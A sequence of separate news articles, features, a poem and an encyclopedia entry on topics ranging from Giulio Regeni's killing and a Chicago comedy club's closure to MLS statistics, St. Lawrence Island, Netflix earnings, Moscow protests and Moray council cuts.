hiding in plain sight: his seemingly inexplicable, brutal torture and killing reflects the demise of Egyptian democracy, the stripping away of already limited liberties and protections, the brutal crackdown on dissent, the increase in torture and forced disappearances, the tendency to blame the country’s problems on outside conspiracies. In this closed world, Giulio Regeni, with his ability to speak five languages, his mobile phone full of foreign and Egyptian contacts, might look like a spy, and police, in a system with little or no accountability, might make reckless mistakes. The Egyptian prosecutors seemed unable to understand why their Italian colleagues did not accept the evidence they were given. “The Egyptian authorities seemed shocked that our police kept asking questions after they came up with the ‘gang’ of killers and the tray with Regeni’s documents,” said one Italian investigator. “Their attitude seemed to be: ‘hey, we found the criminals, we have even killed them. This should put an end to it.’” Surely, they thought, concerns of state – the close relations between two nations, billions of dollars of commercial ties – should count more than the life of one person, who had been killed by mistake. They seemed to find it impossible to understand that the Italian government would have to account to public opinion and could not, even if it had wanted to, accept a flimsy, implausible account of Regeni’s death. “This didn’t happen in a vacuum,” Heba Morayef, an Egyptian human rights advocate, said. “It came after three years of almost constant rising xenophobic propaganda, fed by the security services, encouraging citizens’ arrests of foreigners, and so on … There are so many people in the Egyptian security forces that talk about this foreign conspiracy, that more and more people start to believe it. This is how a deeply paranoid police state operates.” • Follow the Long Read on Twitter at @gdnlongread, or sign up to the long read weekly email here. -In the threadbare upstairs room that passes for an owner's office at the Lakeshore Theater, original LPs from 1960s comedy giants Dick Gregory and Mort Sahl lean against a window. Chris Ritter, the club's owner, had bought the records in order to have Gregory and Sahl sign them this week, when they were to play his art house comedy club in a converted movie theater on Chicago's North Side. Instead, along with the broken and plastic-bag-covered urinal in the men's room, they stand as a symbol of what went wrong at the Lakeshore, which hosted some of comedy's most cutting-edge acts and had Robin Williams show up on its stage more than once, but could never live any better than hand to mouth. Already reeling from a big loss on a Sandra Bernhard show in February, and faced with more five-figure losses in the weeklong stand by Sahl and Gregory that wasn't selling well, Ritter pulled the plug on the Lakeshore on April Fools' Day. "Stupid, three-legged dog," he says, comparing the 330-seat theater at Broadway and Belmont to "a pet you have to put down that is deformed in some way, has some sort of terminal illness. But she just looks at you with those eyes." Ritter, 42, was a theatrical producer who fell into comedy not out of some master plan, but because that, he says, is what worked in the room he has held together "with paper clips and rubber bands" for eight years, the last three as a comedy house. Letting it go, clearly, is difficult. We are talking in the theater, the afternoon before a raucous farewell show featuring many of the local comics the Lakeshore has nurtured. The seats, he points out, need replacing. The running lights along the aisle went out not long ago, a fire code violation. "There's just so many mixed feelings," Ritter says, then blinks hard and looks away, down toward the stage where national stars including Jim Jefferies, Demetri Martin, Mike Birbiglia, Maria Bamford, Doug Benson and more found a Chicago home. Upstairs is the small apartment where Ritter, his wife, Jessica, and son, Joey, now 10, lived for six years. The family hasn't had health insurance for at least three years, and a few months ago, he says, Jessica was found to have breast cancer. "It really gave me a personal jolt: OK, you've got an artistic mission and you're really dedicated to the place, but what are you really doing with your life?" He adds: "I know in the core of my heart I'm doing the right thing, for myself and for my family. And I'm utterly convinced that in a month, six months, a year from now, I will have this incredible sense of relief in my life, where I'm not running around, panicked about how I'm gonna cover payroll next week, or whether the plumbing's about to explode. "What I really want to do is work with artists and do shows. I know that that is going to be my endpoint, so there's a certain comfort in that. But the, uh" — another long pause, another look into the emptiness of a theater in the afternoon — "it's hard." He repeats the phrase: "Stupid, three-legged dog." ••• There were final shows Friday and Saturday from Jefferies, the budding Australian superstar whose career arc exemplified Lakeshore's strategy of building an audience for cutting-edge artists. His first show at the theater did $198 in box office in November 2007, and a lot of tickets were given away; his last ones sold out, four shows, some $6,000 per show. But before Jefferies, on Thursday night, there is "Closing Acts," a hybrid open-mic night/Irish wake/jazz funeral. For 61/2 hours, two dozen stand-ups take turns eulogizing the Lakeshore, roasting Ritter, taking potshots at the much more conventional Zanies comedy clubs, bemoaning Chicago's busy but undernourished comedy scene and, mostly, because there was a microphone and stage time, doing their own acts. "Welcome to the end of any hope you ever had," says James Fritz, the night's first emcee, speaking to an audience of mostly comedy insiders. "I'd be less upset if my parents got a divorce. Honestly, this place means more to me than my blood." Fritz also suggests that Bert Haas, the executive vice president of Chicago's Zanies outposts, is "dancing a jig" over the closing, the first (and least derogatory) of several mentions of Haas by name. (Haas, reached by phone, gives it right back. "It's just another venue," he says of the Lakeshore, one whose closing "means there will be other places popping up… I've been with Zanies since 1980. In those 30 years I have seen at least 60 different establishments open, try stand-up comedy and close.") "Chris Ritter tried to be an artist on top of being a businessman," says Dan Telfer, who runs Chicago Underground Comedy, one of the alternative options that will pick up some Lakeshore slack with local acts. "This place filled a void that the country was lacking, not just Chicago." At some point the national anthem is sung. After most everyone remaining at 1:30 a.m. gets onstage to sing it again, Roseanne Barr is officially forgiven. "I called Ritter a couple of weeks ago about opening up for Nick Thune," says the comic Prescott Tolk. "He said, ‘Yes. Do you know anyone who has $200,000?'" ••• The numbers, actually, were moving in the right direction, Ritter says, bearing out, he believes, the validity of the idea that he and comic Paul Provenza, an adviser, hatched in early 2007: Showcase comedy as an art form (and stop the financial bleeding). In 2007, the first year as a comedy-only venue, he and his partners lost $404,000, according to Ritter. In 2008, the venue lost $268,000. And last year, as attendance continued to grow and Ritter cut payroll by 55 percent, it actually made a profit, of about $65,000. But his salary kept shrinking; he took home $30,000 last year, he says. And it seemed there would never be enough to pay down the $200,000 in debt remaining (after his partners covered the bulk of the losses) or give the building the more than $150,000 in repairs he says it needs. Since the closing announcement, Ritter has been gratified by the support and has come to believe people understood the club's mission in a way he wasn't sure they did while it was running. -OTTAWA — Canada’s democracy would benefit best under an electoral system of proportional representation, a leading authority on voting systems told parliamentarians Monday. But no matter what Parliament finally decides, it should avoid a referendum on the question and the danger of a vote based on voter confusion and misinformation, Arend Lijphart told a special committee on electoral reform. “The outcomes of referenda are often highly volatile and unpredictable, often involve a lot of emotionalism and outright lies,” he warned. “The recent Brexit referendum shows how much damage a referendum can do. It’s been a disaster for the whole world.” Lijphart, research professor emeritus of political science at the University of California, said proportional representation (PR) and the coalition governments the system typically produces, “work better because there is more negotiations, there is more compromise, therefore it builds stronger consensus.” Years of extensive research, he said, show the most beneficial, statistically significant outcomes that correlates with PR is the quality of the democracies it produces. “Proportional representations (was) not only slightly better, but a whole lot better, there was simply no comparison between PR and FTTP (first-past-the-post),” the system Canada has always used. PR systems and consensus democracies also have better records for effective policy-making, he said, though FTTP is often mistakenly considered the best system to represent democratic, majority rule. But “if you’re a majority government, one-party government, it is based on just between 30 and 40 per cent of the voters. This (type of) government actually struggles constantly with the fact of being a kind of illegitimate majority government,” he told the all-party committee of MPs. FTTP governments really only represent a large minority “It may seem ironic or paradoxical that, in fact, you have in PR better majority rule than with so-called majoritarian governments. FTTP governments really only represent a large minority.” Lijphart acknowledged a legitimate complaint about PR is that parties’ election platforms and promises can be compromised or lost in the negotiations to form a coalition government . Still, in mature multi-party systems, such as in Germany’s, it is often clear prior to an election which parties (and policies) are going to work together in government, he said. PR models have been adopted by many nations and, with a few exceptions, without holding referendums. Lijphart warned the MPs against doing so in Canada. “If one can avoid a referendum, please avoid a referendum,” he urged. While changing the electoral system is an important decision, the problem with referenda is that other issues can come to fore, too, “including people just expressing a general dissatisfaction with the government.” The Conservative party has argued that there may be no better way to test “broad-based support” for a new system than some kind of referendum. Democratic Institutions Minister Maryam Monsef has expressed apprehensions. Lijphart’s criticism of referenda was countered by committee witness Benoit Pelletier, a University of Ottawa constitutional expert on electoral reform and former Liberal Quebec cabinet minister in the Jean Charest government. “If we want to do a reform of our voting system, it’s normally for the population itself, so that the population has greater faith in its democratic institutions,” he said. “I would have a hard time seeing how we could do a significant electoral reform without calling on Canadians and asking them for their opinion.” “When you change the electoral system significantly, you change the political culture of a country. It is not just an issue of modalities, it is not a technical issue, it is also a cultural issue, an issue of values. The electoral system is choosing the values that we as a country want to emphasize.” -Would you be alright, he asked me, in a dream. Would you be able to hold it together, he said, a question in his eyes. I lifted my shoulders, maybe shrugging, maybe tucking my head and my neck in my sweater for warmth, as I feel the cold start to seep into my bones. It doesn’t matter now, does it, is the only thing I could reply. It hardly ever matters now. Everyone Who Left Us Steven Cramer Everyone who left us we find everywhere. It’s easier now to look them in the eyes — At gravesites, in bed, when the phone rings. Of course, we wonder if they think of us. It’s easier, now, to look them in the eyes, Imagine touching a hand, listening to them talk. Of course, we wonder if they think of us When nights, like tonight, turn salty, warm. Imagine touching a hand, listening to them talk — Hard to believe they’re capable of such coldness. When nights, like tonight, turn salty, warm, We think of calling them, leaving messages. Hard to believe they’re capable of such coldness — No color, no pulse, not even a nerve reaction. We think of calling them, leaving messages Vivid with news we’re sure they’d want to know. No color, no pulse, not even a nerve reaction: We close our eyes in order not to see them. Vivid with news, we’re sure they’d want to know We don’t blame them, really. They weren’t cruel. We close our eyes in order not to see them Reading, making love, or falling asleep. We don’t blame them. Really, they weren’t cruel, Though it hurts every time we think of them: Reading, making love, or falling asleep, Enjoying the usual pleasures and boredoms. Though it hurts every time we think of them, Like a taste we can’t swallow, their names stay. Enjoying the usual pleasures and boredoms, Then, they leave us the look of their faces Like a taste we can’t swallow. Their names stay, Diminishing our own, getting in the way At gravesites, in bed, when the phone rings. Everyone who left us we find everywhere, Then they leave us, the look of their faces Diminishing, our own getting in the way. -Columbus Crew SC, the New York Red Bulls, FC Dallas and the Portland Timbers have all reached the Conference Championship after an arduous 34-game season and at least two Audi 2015 MLS Cup Playoff games (three for Portland). The ways in which they have been able to make it this far are varied. Each have relied on a particular style of play that has defined their season and ability to get this far. You can see those styles of play in some statistics that these four teams have been able to produce throughout the course of the season. Here's one for each: Columbus Crew SC: Crosses from Open Play When you have Kei Kamara on your team, it is no surprise that Crew SC led the league in crosses attempted from open play. As you can see from the table above, Columbus attempted 115 more crosses from open play than any other team in the league. The difference between Crew SC and the No. 2 ranked Portland Timbers is about the same as the difference between Portland and the No. 12 ranked Toronto FC. Gregg Berhalter's team wasn't just attempting a ton of crosses but they were completing them at a high rate. Crew SC completed 27.26 percent of their open play crosses, the second highest rate in the league. The only team to complete a higher percentage is FC Dallas (27.46), who attempted almost 400 fewer crosses than Columbus. New York Red Bulls: Opponent Passing Accuracy in Own Half When Jesse Marsch was hired as the new head coach of the New York Red Bulls, he built his team to do one thing. High press. And they have been successful in that endeavor as the Red Bulls won the Supporters' Shield this season and were able to do so largely because of their style of play. With their high-press system, the Red Bulls haved allowed their opponents to complete just 84.14 percent passes in their own half. That may not sound all that impressive but consider that is the lowest percentage any team has held their opponents in that statistic since 2010. It was also easily the lowest this season. Portland Timbers: Shot Conversion Rate This stat is a bit different as we are only taking a look at portions of the Timbers' season. Portland's late-season surge to the No. 3 West and ultimately the Conference Championship was at least in part sparked by the formation shift to put Darlington Nagbe in the center of midfield. The main reason they were unable to collect maximum points before this time came down to their inefficient finishing. Despite taking the second-most shots per game in the league, they had the second-fewest goals. But since the formation switch, all that has changed. Despite taking fewer shots, the Timbers have actually seen their goals scored per game skyrocket. Their shot conversion rate, which is goals divided by totals shots, has gone from a miserable 6.98 percent to a respectable 17.07 percent. Timbers Before/After Formation Switch Period Shots/Game Conversion Rate Before 14.32 6.98% After 13.67 17.07% FC Dallas: Dribbles Ever since Fabian Castillo joined FC Dallas back in 2011, he has been the most prolific dribbler in MLS. That did not change this season. Opta defines a dribble as "an attempt by a player to beat an opponent in possession of the ball." Basically it's when a player tries to take on another player in a 1v1 situation. Like Crew SC, not only did they exceed other teams in a specific area, they also were efficient. Even though they attempted the most dribbles of any team, they completed those dribbles at a rate of 43.08 percent, good for the fourth highest rate in MLS. Castillo led the way attempting 265 dribbles just by himself and completed them successfully 43 percent of the time. Michael Barrios (92), Mauro Diaz (79) and Ryan Hollingshead (62) also attempted more than 50 dribbles individually. -Plenty of industry experts, psychologists and body-positive activists have criticized the big, bad magazine industry for its undying love of Photoshop. But hearing it from "real women," aka not fashion models, on camera is powerful stuff on its own. A new video by advocacy T-shirt company FCKH8 showcases women of various ages, races and body types giving Photoshop the middle finger, after unashamedly stripping off the brand's "This Is What a #Feminist Looks Like" shirts and showcasing what real female bodies, untouched by airbrushing, can look like. Of course, even the models featured in magazines are "real women." But the airbrush that tweaks and tones their bodies, touches up their stray hairs and smooths over their little imperfections contributes to making the bodies we see less real. "The retouching is excessive. I do not look like that and more importantly I don't desire to look like that," is how Kate Winslet so perfectly put it about a decade ago, when her own body was airbrushed to the hilt. Over 10 years later, the airbrushing has gotten way more subtle and less offensive, but it's still happening all the time. "Things are never, ever as they seem," model Chrissy Teigen told the Cut earlier this year, adding, "Oh, the retouching." Thanks to that retouching, we end up not seeing quite so many curves, nor many wrinkles. FCKH8's video calls out Photoshop for that deception and the shame it can cause women (and men) about their own bodies. Of course, as SheKnows points out, no video campaign is perfect. FCKH8.com is itself guilty of embracing a single body type on its website, showcasing slender white women; it's also a for-profit company, which some have said conflicts with its social justice mission to take on sexism, racism and other injustices. Still, seeing women flip the bird to beauty standards is pretty damn awesome — especially if it can get other women, those who aren't modeling T-shirts or making viral videos, feeling inspired to do the same. Watch the full video below. h/t The Huffington Post -A mural of Kevin Spacey will soon vanish from the side of a building in the northwest England city of Manchester. Anonymous street artist Akse revealed via Facebook on Friday that he will replace his 2015 piece “as a result of the recent allegations” of sexual misconduct against the Oscar-winning actor. The decision to remove the mural, which shows Spacey as “House of Cards” character Frank Underwood, was made jointly with the wall’s owners, Akse added. Akse painted the mural on the building, owned by Nurhbai and Co. Accountants, in May 2015. “We love it!” the company said via Facebook on its completion: But as sexual misconduct claims mounted against Spacey, owner Hussain Nurbhai was “adamant” it be replaced, the BBC reported. Akse has not revealed when or how he will paint over the piece, which formed part of his “Psychopaths” series. HuffPost has reached out for comment. Bryan Cranston’s “Breaking Bad” character of Walter White, and Christian Bale’s character of Patrick Bateman from “American Psycho,” also are featured in Akse’s project in Manchester. A post shared by Akse P19 Crew (@akse_p19) on Aug 2, 2017 at 3:11am PDT -This is the same Oklahoma team. The same Sooners that this time last year were on the verge of disaster. That couldn’t win a big game anymore under coach Bob Stoops. That no longer ruled the Big 12. That was set up for a spectacular fall after an embarrassing 34-point loss in a bowl game to a team playing a backup quarterback. SN AWARDS: Coach of the year: Dabo Swinney | All-America teams | Freshman All-Americans Then Baker Mayfield got eligible, Stoops hired a new offensive coordinator (Lincoln Riley) and OU is now the hottest team in the game heading into the College Football Playoff. The reason is simple: the play of Mayfield, the Sporting News 2015 Player of the Year. “I don’t think you can overstate how important Baker has been to this team,” Stoops said. Maybe even the difference between playing for it all and playing out the string – both the season and a spectacular coaching career in Norman for Stoops. Fair or not, Stoops was feeling heat heading into this season, and had made changes to the staff in the offseason to address some glaring problems. MORE: Best bowl games | Most intriging matchups | Bowl gift guide At the top of the list was the quarterback spot, where OU had struggled the previous two seasons and where the Sooners hadn’t had a game-changer in the most important position on the field since Sam Bradford won the Heisman Trophy in 2008. Mayfield transferred from Texas Tech last season, and despite OU’s significant efforts with the NCAA, he wasn’t granted an appeal to play immediately. On the outside looking in, OU’s desperation to get Mayfield eligible seemed strange, especially considering the Sooners were coming off a big win over Alabama in the Sugar Bowl – a game where quarterback Trevor Knight played well and gave a hint of big things to come in 2014. Now we know why OU was so intent on getting Mayfield eligible in 2014: he’s a game-changer. He’s a program-defining player whose spirit, intensity and moxie rub off on others around him, forcing them to perform at his level. MORE: Follow Oklahoma's path to the playoffs “I never had an idea of changing the way we do things around here,” Mayfield said. “I just wanted to fit in and do whatever I could to help.” All he did was make OU a national power again, and lead the Sooners to the College Football Playoff – something that seemed like a pipedream this time last season. Mayfield threw for 35 touchdowns, and rushed for seven more, had 3,383 yards passing and completed nearly 70 percent of his throws. Last season, with essentially the same two-deep depth chart, Oklahoma’s quarterbacks threw for 17 TDS and 17 INTs and the Sooners lost five games. But the impact of Mayfield goes far beyond numbers. His magnetic personality and carefree style helped loosen up a team that at times played much too tight over the last two seasons. OU played tight, made mistakes, lost games and lost its mojo. Mayfield brought it all back, from the way he immediately connected with teammates when he first arrived last season, to how he handled his responsibility after winning the starting job in fall camp – to how he played week after week. “Football should be fun,” Mayfield said. “We’re playing a game. We can be serious and we can be focused on what we have to do every single play. But the bottom line is we’re having fun playing a game.” No one played it better in 2015. -St. Lawrence Island (Central Siberian Yupik: Sivuqaq, Russian: Остров Святого Лаврентия) is located west of mainland Alaska in the Bering Sea, just south of the Bering Strait. The village of Gambell, located on the northwest cape of the island, is 36 miles (58 kilometers) from the Chukchi Peninsula in the Russian Far East. The island is part of Alaska, but closer to Russia than to the Alaskan mainland. St. Lawrence Island is thought to be one of the last exposed portions of the land bridge that once joined Asia with North America during the Pleistocene period.[1] It is the sixth largest island in the United States and the 113th largest island in the world. It is considered part of the Bering Sea Volcanic Province.[2] Geography [ edit ] The United States Census Bureau defines St. Lawrence Island as Block Group 6, Census Tract 1 of Nome Census Area, Alaska. As of the 2000 census there were 1,292 people living on a land area of 1,791.56 sq mi (4,640.1 km2).[3] The island is about 90 miles (140 km) long and 8–22 miles (13–36 km) wide. The island has no trees, and the only woody plants are Arctic willow, standing no more than a foot (30 cm) high. The island's abundance of seabirds and marine mammals is due largely to the influence of the Anadyr Current, an ocean current which brings cold, nutrient-rich water from the deep waters of the Bering Sea shelf edge. To the south of the island there was a persistent polynya in 1999, formed when the prevailing winds from the north and east blow the migrating ice away from the coast.[4] The climate of Gambell is: January April July October Daily max 12 °F (−11 °C) 20 °F (−7 °C) 50 °F (10 °C) 34 °F (1 °C) Daily min 3 °F (−16 °C) 10 °F (−12 °C) 41 °F (5 °C) 29 °F (−2 °C) Villages [ edit ] The island contains two villages: Savoonga and Gambell. The two villages were given title to most of the land on St. Lawrence Island by the Alaska Native Claims Settlement Act in 1971. As a result of having title to the land, the Yupik are legally able to sell the fossilized ivory and other artifacts found on St. Lawrence Island. The island is now inhabited mostly by Siberian Yupik engaged in hunting, fishing, and reindeer herding. The St. Lawrence Island Yupik people are also known for their skill in carving, mostly with materials from marine mammals (walrus ivory and whale bone). The Arctic yo-yo may have evolved on the island. Prehistory [ edit ] St. Lawrence Island was first occupied around 2,000 to 2,500 years ago by coastal people characterized by artifacts decorated in the Okvik (oogfik) style. Archaeological sites on the Punuk Islands, off the eastern end of St. Lawrence Island, at Kukulik, near Savoonga and on the hill slopes above Gambell have evidence of the Okivik occupation. The Okvik decorative style is zoomorphic and elaborate, executed in a sometimes crude engraving technique, with greater variation than the Old Bering Sea and Punuk styles. The Okivik occupation is influenced by and may have been coincident with the Old Bering Sea occupation of 2000 years ago to around 700 years ago,[5] characterized by the simpler and more homogeneous Punuk style. Stone artifacts changed from chipped stone to ground slate; carved ivory harpoon heads are smaller and simpler in design. Prehistoric and early historic occupations of St. Lawrence Island were never permanent, with periods of abandonment and reoccupation depending on resource availability and changes in weather patterns. Famine was common, as evidenced by Harris lines and enamel hypoplasia in human skeletons. Travel to and from the mainland was common during calm weather, so the island was used as a hunting base, and occupation sites were re-used periodically rather than permanently occupied. Major archaeology sites at Gambell and Savoonga (Kukulik) were excavated by Otto Geist and Ivar Skarland of the University of Alaska Fairbanks. Collections from these excavations are curated at the University of Alaska Museum on the UAF campus. History [ edit ] False color NASA Landsat image of St. Lawrence Island The island was called Sivuqaq by the Yupik who lived there. It was visited by Russian/Danish explorer Vitus Bering on St. Lawrence's Day, August 10, 1728, and named after the day of his visit. The island was the first place in Alaska known to have been visited by European explorers. There were about 4,000 Central Alaskan Yupik and Siberian Yupik living in several villages on the island in the mid-19th century. They subsisted by hunting walrus and whale and by fishing. A famine in 1878–1880 caused many to starve and many others to leave, decimating the island's population. A revenue cutter visited the island in 1880 and estimated that out of 700 inhabitants, 500 were found dead of starvation. Reports of the day put the blame on traders' supplying the people with liquor causing the people to ″neglect laying up their usual supply of provisions″.[6] Nearly all the residents remaining were Siberian Yupik. Reindeer were introduced on the island in 1900 in an attempt to bolster the economy. The reindeer herd grew to about 10,000 animals by 1917, but has since declined. Reindeer are herded as a source of subsistence meat to this day. In 1903 President Theodore Roosevelt established a reindeer reservation on the island.[7] This caused legal issues in the indigenous land claim process to acquire surface and subsurface rights to their land, under the section 19 of Alaska Native Claims Settlement Act (ANCSA) as they had to prove that the reindeer reserve was set up to support the indigenous people rather than to protect the reindeer themselves.[8] World War II [ edit ] During World War II, islanders served in the Alaska Territorial Guard (ATG). Following disbandment of the ATG in 1947, and with the construction of Northeast Cape Air Force Station in 1952, many islanders joined the Alaska National Guard to provide for the defense of the island and station. Cold War [ edit ] The former Northeast Cape Air Force Station at St. Lawrence Island On June 22, 1955, during the Cold War, a US Navy P2V Neptune with a crew of 11 was attacked by two Soviet Air Forces fighter aircraft along the International Date Line in international waters over the Bering Straits, between Siberia's Kamchatka Peninsula and Alaska. The P2V crashed on the island's northwest cape, near the village of Gambell. Villagers rescued the crew, 3 of whom were wounded by Soviet fire and 4 of whom were injured in the crash. The Soviet government, in response to a US diplomatic protest, was unusually conciliatory, stating that: There was an exchange of shots after a Soviet fighter advised the US plane that it was over Soviet territory and should leave (the US denied that the US plane fired at all). The incident took place under heavy cloud cover and poor visibility, although the alleged violation of Soviet airspace could be the responsibility of US commanders not interested in preventing such violations. The Soviet military was under strict orders to "avoid any action beyond the limits of the Soviet state frontiers." The Soviet government "expressed regret in regard to the incident," and, "taking into account... conditions which do not exclude the possibility of a mistake from one side or the other," was willing to compensate the US for 50% of damages sustained—the first such offer ever made by the Soviets for any Cold War shoot-down incident. The US government stated that it was satisfied with the Soviet expression of regret and the offer of partial compensation, although it said that the Soviet statement also fell short of what the available information indicated.[9] Northeast Cape Air Force Station, at the island's other end, was a United States Air Force facility consisting of an Aircraft Control and Warning[10] (AC&W) radar site, a United States Air Force Security Service listening post; and a White Alice Communications System (WACS) site that operated from about 1952 to about 1972. The area surrounding the Northeast Cape base site had been a traditional camp site for several Yupik families for centuries. After the base closed down in the 1970s, many of these people started to experience health problems. Even today, people who grew up at Northeast Cape have high rates of cancer and other diseases, possibly due to PCB exposure around the site.[11] According to the State of Alaska, those elevated cancer rates have been shown to be comparable to the rates of other Alaskan and non-Alaskan arctic natives who were not exposed to a similar Air Force facility.[12] In any event, the majority of the facility was removed in a $10.5 million cleanup program in 2003. Monitoring of the site will continue into the future.[13] Transportation [ edit ] The airports are Gambell Airport and Savoonga Airport. Bibliography [ edit ] Notes References -Expectations for Netflix's third quarter couldn't have been higher, but the company still managed to wow Wall Street Monday -- and shares jumped 10% as a result. Netflix cynics have been waiting for the company's stock bubble to pop: Netflix shares are up a shocking 440% in the past 12 months, and analysts expected third-quarter earnings nearly to quadruple over the year. But Netflix (NFLX) delivered. The company reported third-quarter earnings of 52 cents a share, well above the 49 cents that analysts polled by Thomson Reuters were expecting. Sales came in at $1.1 billion, in line with estimates. Netflix expects more happy news for the current quarter. The company predicted earnings of 47 cents to 73 cents per share. That's an extremely wide range -- common for Netflix -- but it's far above the 46 cents a share that Wall Street expected. Shares of Netflix jumped 10% after-hours immediately after the news and continued their run in premarket trading on Tuesday. Netflix CEO Reed Hastings isn't comfortable with the huge stock run-up, however. On a post-earnings conference call with analysts, he said Netflix thinks "momentum investors" are "driving the price more than we like normally" -- but that it's out of the company's control. Subscriber growth and original content: Hastings was happier with Netflix's third-quarter subscriber growth, which also impressed. Netflix added nearly 1.3 million new American subscribers during the third quarter, near the top range of the 690,000-1.49 million range the company predicted in July. International subscriber growth was even more striking: 1.44 million new overseas streaming customers. That pushed Netflix above the 40 million subscriber mark for the first time. But Netflix warned of a surge in free-trial signups in Latin America that artificially boosted the international additions figure. In order to continue that user-base growth, Netflix has spent years transforming itself into not only a purveyor of other studios' content, but a creator of original content as well. Netflix CEO Reed Hastings and other company executives have repeatedly said Netflix "wants to become HBO faster than HBO can become Netflix." (HBO is owned by CNNMoney parent company Time Warner (TWX).) Related story: RIP television, hello mobile gaming That original-content strategy has included a new season of "Arrested Development," a U.S. remake of "House of Cards," and -- most notably -- the new series "Orange is the New Black." Netflix called the comedy-drama "one of the most critically well received TV shows of 2013" and said it will end the year as Netflix's most watched original series to date. Three of those original series netted Netflix a total of 14 Emmy nominations and three wins (all for "Cards") this year, but some analysts are still concerned about Netflix's mounting costs. The company reportedly spent $100 million producing and shooting two seasons of "House of Cards," the first of which was released in February. Netflix appears unfazed by that criticism. The company said it expects to double its spending on original content in 2014. Content chief Ted Sarandos said on the earnings call that the company is actively looking for documentaries to debut on Netflix and will keep an open mind about feature films -- but Netflix still isn't interested in airing sports. Meanwhile, the content licensing side of Netflix's business is also expensive. Studios have demanded more money for their content as rival services proliferate: Amazon (AMZN), Hulu and Redbox (OUTR) are only a handful of the competitors. Premium channels like HBO and CBS' (CBS) Showtime are also expanding their streaming offerings. -Baton-wielding and helmeted police have clashed with tens of thousands of protesters taking part in a demonstration against Monday's inauguration of Vladimir Putin, Russia's president-elect, arresting at least 400 in Moscow. Those arrested on Sunday included Alexei Navalny, the anti-corruption crusader, liberal leader Boris Nemtsov and ultra-left wing activist Sergei Udaltsov. The three men are key leaders of the nascent protest movement against Putin, who served as president and prime minister before he was re-elected in March. Police said they detained the protesters after they threw stones and water bottles at officers and blamed the violence on opposition leaders who attempted to stage a sit-in protest in the middle of the crowd. Earlier, reports said at least 20,000 opposition protesters took part in the demonstration, which had been billed as a "March of Millions". The protesters marched shouting "enough lies" while helmeted police, using batons, beat back dozens of mostly young protesters at the event across the river from the Kremlin. The turnout appeared smaller than most of the winter's unprecedented wave of protests, some of which attracted crowds estimated at 100,000 or more. National parliamentary elections were marred by fraud, but Putin won the vote easily and another round in March, returning to the Kremlin seat he held in 2000-2008. Some of the demonstrators acknowledged that Putin's election win and his inauguration have been a blow to morale. "It's true that some have been disappointed," said Yuri Baranov, a 46-year-old information technology specialist. But "the most important thing is that people have awakened". Others admitted some doubts about whether the protests would spur any long-term change. "I would like to think that our voice will be heard, but I am not totally sure of this," said Yelena Karpsova, 47, who came to the rally from Tula, about 200km south of Moscow. Rival demonstrations Supporters of the ex-KGB spy meanwhile planned to hold a gathering with some 50,000 people. A senior city official said Putin's group did not need permission to bring out such large numbers onto a public square because "what they will be having is not a rally or a march or a protest". "It will be a mass cultural event," Alexei Mayarov, a Moscow regional security department head, told Russian news agencies. "What is important is there is still a constituency, and the most modernised constituency in Russia, that does not see Putin as a desired president" - Maria Lipman, political analyst Organisers said the demonstration along a main Moscow thoroughfare towards Bolotnaya Square opposite the river from the Kremlin was to conclude with a meeting that city authorities officially limited to 5,000 people. "It's called the march of millions and I suspect they wish they had not named it that name because it's going to be interesting to see just how many people do turn up to this protest," Al Jazeera's Sue Turton reported from Bolotnaya Square. "They have got permission for 5,000 people to congregate in Bolotnaya Square, but the march starts further across Moscow and then they will walk here and then congregate and later on ... move to another square next to the Kremlin and have some sort of sit in overnight until the inauguration. "Now we don't even know how many people would contemplate doing that. There has definitely been a wane in the momentum of the protest movement," she said. Maria Lipman, a political analyst from the Carnegie Endowment for International Peace, told Al Jazeera from Moscow: "The rally that has been authorised implies that 5,000 will take part. Maybe more can be expected, however not the many tens of thousands that we saw in Moscow streets and squares in December, February and March." Protests 'on decline' "The mass protests are maybe losing momentum and may be on decline, however what is important is there is still a constituency, and the most modernised constituency in Russia, that does not see Putin as a desired president. "I think that part of society will not reconcile to the fact that Putin holds power for the next six years, and we may see more eruptions of discontent in the following years over various kinds of developments," she said. Putin's return to the presidency will technically give him greater powers than he previously wielded as prime minister. He has dismissed the allegations that widespread fraud helped him win the presidential election and secured victory for his United Russia party in a parliamentary poll in December. The inauguration ceremony will include a booming 30-gun salute and a special blessing from Orthodox Church Patriarch Kirill. -School crossing patrollers, public toilets, community centres and libraries are all under threat in a savage council savings plan that has caused a senior Tory councillor to quit the party. Speyside Glenlivet member and planning committee chairman Walter Wilson dramatically walked away from the party yesterday following a row with colleagues. The shock departure came as it emerged that council chiefs are looking at mothballing every community centre and public toilet in Moray, along with every library other than Elgin. It is understood that the ruling group is also examining plans to axe every lollipop man and woman at schools. Councillor Wilson branded his former allies “right wing extremists” as he accused them of sacrificing public safety in the penny-pinching drive. But last night the Tories fired back, saying Mr Wilson had balked at making tough decisions and questioned whether he belonged in politics. Mr Wilson said: “I am no longer a Conservative, which was a tough decision to make. “But I couldn’t just sit there and listen to extreme right-wing views, and it all came to a head when my colleagues were discussing what they wanted to cut. “It felt like Speyside Glenlivet was going to be badly affected, and it led to a big argument and some irreconcilable differences. “I just said that was it, I couldn’t vote for a budget like that. “There are a core of right-wing extremists who have made life difficult for some of the Conservatives in the group and the Independent members of the administration.” Mr Wilson was one of eight Conservatives elected in May’s council elections, who later formed a coalition administration with six independent members. Local authority leader George Alexander last night confirmed that a series of “unpalatable” cuts is expected to be made public next month. The independent councillor said: “None of these cuts have been decided but we will make our proposals public in December and I don’t think that will be a nice Christmas present for people. “Mr Wilson is the first councillor to balk at having to do this, but we were all aware of how unpleasant a task balancing the budget would be.” Mr Wilson said he was horrified when colleagues suggested ward constituents affected by a change in road gritting “could just move house”. He added: “Those are the kind of views I was trying to go up against.” Conservative councillor for Fochabers Lhanbryde, Marc Macrae, said the remark in question was a “flippant” one which Mr Wilson had overreacted to. He added: “It has started to get hot and Mr Wilson has left the kitchen, you need to have a thick skin in politics. “This will be a tough budget for Moray, but no ward will be disproportionately affected and we will consult on the proposed cuts. “I’m disappointed in Mr Wilson, I would question whether politics is for him.” Mr Wilson – who is still owed thousands after his former employer went bust – will suffer a £10,000 pay cut as a result. He said he hoped to continue as an independent but would “listen to constituents if they feel that I should resign my position”. Moray MSP Richard Lochhead said Scottish Conservative leader Ruth Davidson should launch an inquiry into the group. The SNP representative said: “The extraordinary resignation of a councillor due to the repugnant and extremist views of his colleagues lifts the lid on the ugly politics at the heart of Moray Conservative Party “Many local people will be troubled that some of the elected representatives who run Moray Council are deemed to be extremists by a colleague who sat in meeting after meeting with them behind closed doors and has now decided he simply can’t stomach their vile views any longer.” -Large lake in the Northwest Territories of Canada For the lake in 